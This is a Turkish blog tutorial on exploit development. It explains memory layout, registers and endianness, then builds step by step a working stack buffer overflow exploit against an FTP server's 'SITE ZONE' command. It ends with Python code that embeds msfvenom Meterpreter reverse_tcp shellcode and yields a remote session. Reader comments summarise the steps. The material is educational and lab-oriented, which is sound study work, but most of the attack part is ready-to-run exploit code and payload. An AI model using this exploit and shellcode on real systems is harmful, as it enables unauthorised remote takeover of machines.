Exploit geliştirmeyle ilgili yeterli kaynak olmadığı için bu yazıyı yazmaya karar verdim. Umarım iyi anlatabilirim çünkü konu yeni başlayanlar için biraz karışık. Exploit geliştirmeye girmeden önce bilinmesi gereken bazı mevzular var. Bunlar program hafızası registerlar veri tipleri vs. İsterseniz hemen konuya girelim.
RAM Bölümleri
STACK: Yerel hafıza değişkenleri dönüş adresi ve EBP Değeri buradadır.LIFO(last in first out) Son giren ilk çıkar mantığıyla çalışır.Yüksek adresten düşük adrese göre yerleşim gösterir.ESP registeri stack bölgesinin en üst noktasını gösterir.
HEAP: Dinamik hafıza alanı ayırmak için kullanılır. Örneğin int *ptr;ptr=malloc(100*sizeof(int))
.BSS: İçerisine herhangi bir değer atanmamış değişkenler buradadır. Char name;
.DATA: İçerisine değer atanmış değikenler buradadır. Int I = 1;
.CODE(veya .TEXT):Program kodlarının makine diline çevrilmiş halleri buradadır. 00001010 = A
C kodu ile bu bilgileri özetleyecek olursak;
#include <stdio.h>
char name; //bss
int I = 1; //data
int cikar(x,y)
{
int z; //stack
z = x-y;
return z;
}
int main()
{
cikar(15,5);
return 0;
}
Veri Tipleri
BIT:2’lik sistemde en küçük veribirimine verilen isim. 1 or 0
NIBBLE: 4 bitlik bilgiye denir.
BYTE: 8 bitlik bilgiye denir.
WORD: 16 bitlik bilgiye denir.
DWORD: Double word iki ayrı word den meydana gelir.32 bitlik bilgiye denir.
Bitler Üzerindeki Mantıksal İşlemler
REGISTERS
Data Registers
Not: kaydediciler işlemci üzerinde yer alırlar.
E(extended)AX:Akümülatör kaydedicisi ,dört işlemde kullanılır.
EBX:Base kaydedicisi bellek lokasyonlarında baz adres göstericisi olarak kullanılır.İndex kaydedicisi olarak da kullanılabilir.Data segment içerisinde bir alanı göstermek için kullanılır.
ECX:Counter kaydedicisi,Döngü işlemlerinde sayaç olarak kullanılır.
EDX:Data kaydedicisi,Donanım ile yapılan giriş çıkış işlemlerinde kullanılır.
INDEX Registers
ESI:Source Index,karakter ya da döngü işlemleri sırasında okuma işlemi yapılcak olan yerin adresini gösterir.
EDI:Destination Index,karakter ya da döngü işlemleri sırasında yazma işlemi yapılcak olan yerin adresini gösterir.
SEGMENT Registers
CS:Code segment,Program kodlarının makine dilindeki halleri code segmentte saklanır.CS register Code segmentin başlangıç adresini saklar.
DS:Data segment,Değer verilmiş değişkenler data segmentte saklanır.DS register data segmentin başlangıç adresini tutar.
SS:Stack segment,Dönüş adresleri,yerel fonksiyon değişkenleri ve eski ebp değerleri stcak içerisinde saklanır. SS register stack başlangıç adresini saklar.
POINTER Registers
EIP:Bir sonraki çalışacak olan komutun bellek adresini saklar. (BAKIN BURASI ÇOKOMELLİ!)
EBP:Stackte referans noktası oluşturur.
ESP: Stack bölgesinin en üst noktasını gösterir.(BURASI DA ÇOKOMELLİ!)
LITTLE ENDIAN ve BIG ENDIAN nedir ?
Exploit geliştime konusunda çokomelli olan bir diğer noktada exploitin çalışacağı sistemin mimarisi ve türüdür.Program akışının istenilen adrese yönlendirilmesi için EIP üzerine istenilen adresin yazılması gerekmektedir.Bu yüzden işlemci mimarisine göre eip değeri ters ya da düz yazılabilir.
LITTLE ENDIAN:Veri hafızaya yazılırken,verinin yazılma işlemi düşük değerli byte değerinden başlanılarak yazılıyorsa işlemci LITTLE ENDIAN’dır.
BIG ENDIAN:Veri hafızaya yazılırken,verinin yazılma işlemi yüksek değerli byte değerinden başlanılarak yazılıyorsa işlemci BIG ENDIAN’dır.
Örneğin bellek adresi 7cb22d69 olsun : BIG ENDIAN —→ \x7c\xb2\x2d\x69
LITTLE ENDIAN —→ \x69\x2d\xb2\x7c
ENDIAN TEST
#include <stdio.h>
#include <stdint.h>
int main(void)
{
int n=1;
if(*(char *)&n==1)
{
printf(“Sistem LIITLE ENDIAN\n”);
}
else
{
printf(“sistem BIG ENDIAN\n”);
}
}
İşlemcininin little endian mı yoksa big endian mı olduğunun anlamanın bir çok yolu var. Eğer linux kullanıyorsanız “lscpu” komutu ile görebilirsiniz ama buna da gerek yok eğer işlemciniz intel ise little endiandır.
Geliştireceğimiz basit bir exploitte kullanacağımız 2 assembly kodu var bunlar:
NOP:no operation kodu hiç bir işlem yapma kodudur.
JMP:Koşulsuz dallanma kodudur.
Evet en basit anlamda bilmeniz gerekenler bunlar işin detayına fazla girmek istemedim şimdi basit bir exploit geliştirelim ve bakalım oturum alablicekmiyiz.
BUFFER OVERLOW EXPLOİT UYGULAMASI
C dili ile geliştirelen uygulamalarda kullanıcı hafızası programcı tarafından belirlendiği için bellek taşması olası bir durumdur.Eğer programcı kullanıcıya ayrılan belleği sınırlandırmaz ise buffer overflow exploiti geliştirilebilir.
Normal de program hafızası bu şekilde
Bu resimden de anlayacağınız üzere kullanıcıya ayrılan bir bellek var. ve eğer sınırlandırılmaz ise bellek taşar ve eip değeri değişir(her zaman böyle olmuyor).Bu da şu demek eğer eip değerine istediğimiz bir bellek adresini (jmp esp ya da call esp gibi) yazabilirsek programı istediğimiz gibi yönlendirebiliriz.
Eip değerini ayarladıktan sonra nop kodları gelecek şekilde stack alanının bir kısmı doldurulur. Bunun sebebi yazacağımız shellcode’un stack den yer ayırmak istemesi (sub esp,bilmemnekadarbyte). Eğer direkt stack in üstünden başlarsa yer ayıramayacak ve kendi üzerine yazılmaya başlayacak dolayısıyla düzgün çalışmayacak. Nop kodlarından yeterince serpiştirdikten sonra shellcode’umuzu yazacağız.
Uygulamaya geçelim hemen.Bu uygulamada anlaşılır olması için immunity debugger kullandım.Zafiyetli uygulamam ise exploit-db den indirdiğim ftpserver.exe uygulaması.
Immunity debugger bu şekilde
Exploitimizi yazmaya başlayalım.
import socket
buffer = "\x41" * 300
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.43.13",21))
s.recv(1024)
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS anonymous\r\n")
s.recv(1024)
s.send("SITE ZONE "+buffer+"\r\n")
s.close()
socket modülü ile hedefe bağlandıktan sonra USER kısmına anonymous Pass kısmına da anonymous yazım anonim olarak giriş yaptık.Sonrasında ise SITE ZONE değeri ile 300 adet x41 değeri (A karakterinin hexadecimal hali) gönderdik. Sonuç ise pek şaşırtıcı olmadı.
Gördüğünüz gibi hem EIP hem de ESP değeri değişti.STACK de sadece bol bol A karakteri var bu şu demek uygulamada buffer overflow zafiyeti var.Peki sırada ne var ? EIP üzerine kaç adet karakter sonra değer düşeceğini bilmemiz lazım.Bunun için pattern_create aracı ile bir karakter örüntüsü oluşturuyorum.
Oluşturduğum bu karakter örüntüsünü exploit koduma dahil ediyorum.
import socket
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.43.13",21))
s.recv(1024)
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS anonymous\r\n")
s.recv(1024)
s.send("SITE ZONE "+buffer+"\r\n")
s.close()
Daha sonra hedefe gönderdiğim bu değerden sonra eip değerinin değiştiğini görüyorum.
Bu değeri pattern_offset aracı ile kontrol ettiğimde bana bir sayı verdi.
Bu şu demek eğer ben 241 adet A karakteri gönderirsem 241.karakterden sonra gelecek olan 4 karakter EIP üzerine düşecek.Hemen kontrol edelim.
import socket
buffer = "\x41" * 241
eip = "\x42" * 4
junk = buffer + eip
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.43.13",21))
s.recv(1024)
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS anonymous\r\n")
s.recv(1024)
s.send("SITE ZONE "+junk+"\r\n")
s.close()
Evet EIP değeri 424242 oldu yani B karakteri ile doldurdum ama exploit bu şekilde çalışmaz çünkü böyle bir adres yok olsa bile çalışack kod yok bu yüzden immunity debugger da View>executable modules sekmesinden çalıştırılabilir modüllere bakıyorum.EIP değerinin statik olması bizim için daha iyi olacaktır.
SHELL32.dll i seçiyorum.CONTROL+F ile arancak kodu belirtiyorum.(jmp esp)
Gördüğünüz üzere bir adres var ben bu adresi direkt yazarsam exploit kodum çalışmayacaktır. İntel işlemcileri LITTLE ENDIAN olduğu için bu adresi little endian a çeviriyorum.
import socket
buffer = "\x41" * 241
eip = "\x69\x2d\xb2\x7c" #7c b2 2d 69
nop = "\x90" * 100
junk = buffer + eip
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.43.13",21))
s.recv(1024)
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS anonymous\r\n")
s.recv(1024)
s.send("SITE ZONE "+junk+"\r\n")
s.close()
kodu inceleyecek olursak 241 adet A karakteri + eip değeri junk değişkenine aktarıldı.Junk değişkenini ise SITE ZONE değeri ile programa gönderiyoruz. 100 adet nop kodu yerleştiriyoruz ki rahat bir iniş yapalım. Buraya kadar herşey tamam şimdi sıra shellcode oluşturmaya geldi.msfvenom ile shellcode oluşturuyorum.
paylaodım windows/meterpreter/reverse_tcp ip adresimi ve portu belirttim -f ile çıktının python olacağını –platform ile platformun windows olcağını belirttim -b ile ise bizim shellcode’umuzu çalıştırmayacak olan kötü karakterleri belirttim. Kötü karakterlerden bahsetmem gerekirse bu arkadaşlar bizim shellcode’umuzun çalışmasını engelliyorlar. Örneğin her shellcode da olmaması gereken “0x00” null byte, ya da “0x0a” yeni satır karakteri shellcode’u yeni satıra atlatıp çalışmasını engelleyecek , ya da “0x0d” satır başı karakteri . Fakat bu kötü karakterler programdan programa farklılık gösterir. Hangisinin shellcode’u çalıştırmayacağını anlamak için aşağıda vereceğim payload’ı stack e yazın. Eğer sıralama bozulursa hangi karakterin bozduğunu tespit edip bir kenara not edin. Bu yazının daha fazla uzamasını istemediğimden bu kısmı atlıyorum.
\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
Bu shellcode’u exploitime dahil ediyorum.
import socket
buffer = "\x41" * 241
eip = "\x69\x2d\xb2\x7c" #7c b2 2d 69
nop = "\x90" * 100
buf = ""
buf += "\xdd\xc2\xd9\x74\x24\xf4\xbd\x72\x10\xa4\x11\x58\x33"
buf += "\xc9\xb1\x56\x31\x68\x18\x83\xe8\xfc\x03\x68\x66\xf2"
buf += "\x51\xed\x6e\x70\x99\x0e\x6e\x15\x13\xeb\x5f\x15\x47"
buf += "\x7f\xcf\xa5\x03\x2d\xe3\x4e\x41\xc6\x70\x22\x4e\xe9"
buf += "\x31\x89\xa8\xc4\xc2\xa2\x89\x47\x40\xb9\xdd\xa7\x79"
buf += "\x72\x10\xa9\xbe\x6f\xd9\xfb\x17\xfb\x4c\xec\x1c\xb1"
buf += "\x4c\x87\x6e\x57\xd5\x74\x26\x56\xf4\x2a\x3d\x01\xd6"
buf += "\xcd\x92\x39\x5f\xd6\xf7\x04\x29\x6d\xc3\xf3\xa8\xa7"
buf += "\x1a\xfb\x07\x86\x93\x0e\x59\xce\x13\xf1\x2c\x26\x60"
buf += "\x8c\x36\xfd\x1b\x4a\xb2\xe6\xbb\x19\x64\xc3\x3a\xcd"
buf += "\xf3\x80\x30\xba\x70\xce\x54\x3d\x54\x64\x60\xb6\x5b"
buf += "\xab\xe1\x8c\x7f\x6f\xaa\x57\xe1\x36\x16\x39\x1e\x28"
buf += "\xf9\xe6\xba\x22\x17\xf2\xb6\x68\x7f\x37\xfb\x92\x7f"
buf += "\x5f\x8c\xe1\x4d\xc0\x26\x6e\xfd\x89\xe0\x69\x74\x9d"
buf += "\x12\xa5\x3e\xce\xec\x46\x3e\xc6\x2a\x12\x6e\x70\x9a"
buf += "\x1b\xe5\x80\x23\xce\x93\x8a\xb3\x31\xcb\xa0\x40\xda"
buf += "\x09\xb7\x58\x7b\x84\x51\x34\x2b\xc6\xcd\xf5\x9b\xa6"
buf += "\xbd\x9d\xf1\x29\xe1\xbe\xf9\xe0\x8a\x55\x16\x5c\xe2"
buf += "\xc1\x8f\xc5\x78\x73\x4f\xd0\x04\xb3\xdb\xd0\xf9\x7a"
buf += "\x2c\x91\xe9\x6b\x4b\x59\xf2\x6b\xfe\x59\x98\x6f\xa8"
buf += "\x0e\x34\x72\x8d\x78\x9b\x8d\xf8\xfb\xdc\x72\x7d\xcd"
buf += "\x97\x45\xeb\x71\xc0\xa9\xfb\x71\x10\xfc\x91\x71\x78"
buf += "\x58\xc2\x22\x9d\xa7\xdf\x57\x0e\x32\xe0\x01\xe2\x95"
buf += "\x88\xaf\xdd\xd2\x16\x50\x08\x61\x50\xae\xce\x4e\xf9"
buf += "\xc6\x30\xcf\xf9\x16\x5b\xcf\xa9\x7e\x90\xe0\x46\x4e"
buf += "\x59\x2b\x0f\xc6\xd0\xba\xfd\x77\xe4\x96\xa0\x29\xe5"
buf += "\x15\x79\xda\x9c\x56\x7e\x1b\x61\x7f\x1b\x1c\x61\x7f"
buf += "\x1d\x21\xb7\x46\x6b\x64\x0b\xfd\x64\xd3\x2e\x54\xef"
buf += "\x1b\x7c\xa6\x3a"
junk = buffer + eip + nop + buf
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.43.13",21))
s.recv(1024)
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS anonymous\r\n")
s.recv(1024)
s.send("SITE ZONE "+junk+"\r\n")
s.close()
kodu tekrar yorumlayacak olursak buffer değişkenine 241 adet A karakteri atadım sonra ki gelecek 4 karakter eip üzerine düşecek daha sonra shellcode’umun düzgün çalışması için 100 adet nop kodu ekledim. Sonrasında da shellcode’umu junk değişkenime dahil ettim ve junk ı gönderdim.Tabi öncesinde dinleme noktamızı oluşturalım.
Exploitimi çalıştırıyorum ve oturum alıyorum ÇOKOMELLLLLİİİ 😀
Umarım atladığım biryer yoktur herşeyi umarım iyi anlatmışımdır. Buraya kadar okuyan sevgili okurlarım iyi kötü düşüncelerinizi paylaşırsanız sevinirim. 🙂
Sağlıcakla kalın.
AquaLi
ellerine sağlık çok güzel olmuş
Eren
Merhabalar
Öncelikle elinize sağlık çok faydalı bir kaynak olmuş, stack tabanlı buffer overflow zafiyetine çalışıyorum ve blog sayfanıza denk geldim. Anladıklarımı aşağıda adımlar ile yazdım yanlış anladığım bir nokta varmıdır veya atladığım yardımcı olursanız çok sevinirim.
1-) Pattern_create.rb aracı ile tahmini bir karakter dizisi oluşturuyoruz, örneğin 1000 byte ve bu karakter dizinini gönderiyoruz. EBP (Base Pointer) Stack segmentinin başlangıc alanıdır.
2 -) Gönderdiğimiz karakter dizisi EBP yi aşıp EIP ye düşüyor mu debugger da gözlemliyoruz. Eğer EIP ye düşüyorsa bu değeri alıp patter_offset.rb aracı ile EBP ye tam olarak kaç karakter düşüreceğimizi ve sonrasında ki 4 byte ı EIP üzerine düşürüyoruz.
3-) EIP ye 4 byte lık karakterlerimiz düşüyorsa bundan sorna ki kontrol etmemiz gereken kısım EIP den sonra ESP arasında boşluk varmı varsa ne kadar boş luk var bunu tespit etmek.
4-) Araboşluk gibi bir değişkenle aradaki boşluğu tespit ediyoruz ve burdan ESP üzerine istediğimiz karakterleri düşürmeye çalışıyoruz.
5-) İstediğimiz karakteri düşürebildikten sonra ESP üzerine ile Shellcode’umun üretebiliriz fakat burdan önce önemli ve dikkat etmemiz gereken bir detay var oda kötü istenmeyen karakterler, 0x00 gibi null değer taşıyan değerler, bunları tespit edip Shellcode’umun dahil etmiyoruz.
6-) msfvenom aracı ile Shellcode’umun umuzu üretiyoruz.
7-) msfvenom aracı ile Shellcode ürettikten sonra çıktı olarak bize hafızada ne kadar alan kapladığı bilgisi verilecek, örnek 368 byte, fakat burda ki önemli nokta ESP üzerinde 351 byte ın düşebileceği bir hafıza alanı mevcut mu kontrol ediyoruz.
😎 Shellcode’umun düzgün çalışması için belirli bir miktar nop kodu (x90) karakteri ekliyoruz ESP üzerine Shellcode dan önce gelecek şekilde.
9-) EIP ye ESP ye atlaması için gerekli 4 byle lık karakterleri bulup yazıyoruz. (little endian) kuralına göre.
10-) Msfconsole veya nc ile bağlantı alıyoruz ve hedef sistemde Shell elde ediyoruz.
Ömer Hasan Durmuş
Aslında çok güzel özetlemişsiniz.Eksik bir şey yok bu azimle duvarı delersiniz 🙂